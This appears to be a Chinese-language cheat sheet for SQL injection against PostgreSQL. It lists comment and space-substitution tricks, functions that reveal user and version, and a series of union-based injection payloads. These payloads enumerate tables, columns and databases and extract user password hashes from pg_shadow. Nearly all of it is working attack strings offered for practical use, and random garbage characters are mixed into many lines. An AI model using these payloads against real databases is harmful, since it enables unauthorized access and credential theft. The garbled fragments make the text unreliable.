支持多语句执行,语句可以没有from
postgres用户是超级用户(创始人账户) 只有superuser有copy权限
注释: — , /**/
连接符: %20 , + , /**/
内置函数:! A+ i/ B; s* a! g9 U; s
current_database() //当前数据库名; g& |0 i2 L' K; T- f& H4 j: r$ E$ E
session_user //会话用户
current_user //当前数据库用户
user //当前用户9 `$ N7 G+ q9 h0 v* h& B6 u
version() //数据库版本
Union注射:* Q- U6 l `1 @) B3 [, s8 d+ Z6 X; B
order by n–
and 1=2 union select null,null,null–
and 1=2 union select ‘beach’,null,null–" q! z/ ]; X+ g
and 1=2 union select (select version()),null,null–
获取表名,字段名(新版本利用information_schema):
group_concat(table_name)/ ^6 h) j1 T. ]3 h5 |
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–( I8 d) D- D% \+ j' l: w
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–& k2 k0 M$ k5 E
(老版本). J: \% _ f; |, }8 I, S, D
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名
select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名
实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表9 H+ ?5 a) @. R) k+ ^4 ^
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
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and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码
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